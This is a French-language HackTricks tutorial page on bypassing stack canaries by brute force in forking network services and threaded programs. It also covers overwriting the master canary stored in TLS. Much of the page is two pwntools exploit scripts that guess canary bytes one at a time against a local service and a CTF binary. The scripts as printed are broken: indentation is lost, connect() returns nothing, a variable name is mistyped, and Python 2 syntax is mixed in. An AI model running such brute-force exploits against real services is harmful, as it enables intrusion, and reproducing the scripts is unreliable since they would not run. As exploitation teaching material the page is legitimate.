hacktricks/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md

6.5 KiB

BF Forked & Threaded Stack Canaries

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Si vous êtes confronté à un binaire protégé par un canari et PIE (Position Independent Executable), vous devez probablement trouver un moyen de les contourner.

{% hint style="info" %} Notez que checksec pourrait ne pas détecter qu'un binaire est protégé par un canari s'il a été compilé statiquement et n'est pas capable d'identifier la fonction.
Cependant, vous pouvez le remarquer manuellement si vous constatez qu'une valeur est sauvegardée dans la pile au début d'un appel de fonction et que cette valeur est vérifiée avant la sortie. {% endhint %}

Brute force du canari

La meilleure façon de contourner un canari simple est si le binaire est un programme créant des processus enfants à chaque fois que vous établissez une nouvelle connexion avec lui (service réseau), car chaque fois que vous vous connectez à lui, le même canari sera utilisé.

Ainsi, la meilleure façon de contourner le canari est simplement de le forcer brutalement caractère par caractère, et vous pouvez déterminer si le byte de canari deviné était correct en vérifiant si le programme a planté ou continue son flux régulier. Dans cet exemple, la fonction force brutalement un canari de 8 octets (x64) et distingue entre un byte deviné correct et un byte incorrect en vérifiant simplement si une réponse est renvoyée par le serveur (dans d'autres situations, on pourrait utiliser un try/except):

Exemple 1

Cet exemple est implémenté pour 64 bits mais pourrait être facilement implémenté pour 32 bits.

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Exemple 2

Ceci est implémenté pour 32 bits, mais cela pourrait être facilement modifié pour 64 bits.
Notez également que pour cet exemple, le programme attend d'abord un octet pour indiquer la taille de l'entrée et la charge utile.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

Threads

Les threads du même processus partageront également le même jeton canary, il sera donc possible de forcer un canary par brute-force si le binaire crée un nouveau thread à chaque attaque.

De plus, un débordement de tampon dans une fonction threadée protégée par un canary pourrait être utilisé pour modifier le canary maître stocké dans le TLS. Cela est possible car il pourrait être possible d'atteindre la position mémoire où le TLS est stocké (et donc, le canary) via un débordement de tampon dans la pile d'un thread.
En conséquence, la mitigation est inutile car la vérification est effectuée avec deux canaries qui sont les mêmes (bien que modifiés).
Cette attaque est réalisée dans le writeup : http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads

Consultez également la présentation de https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015 qui mentionne que généralement le TLS est stocké par mmap et lorsqu'une pile de thread est créée, elle est également générée par mmap selon cela, ce qui pourrait permettre le débordement comme indiqué dans le writeup précédent.

Autres exemples & références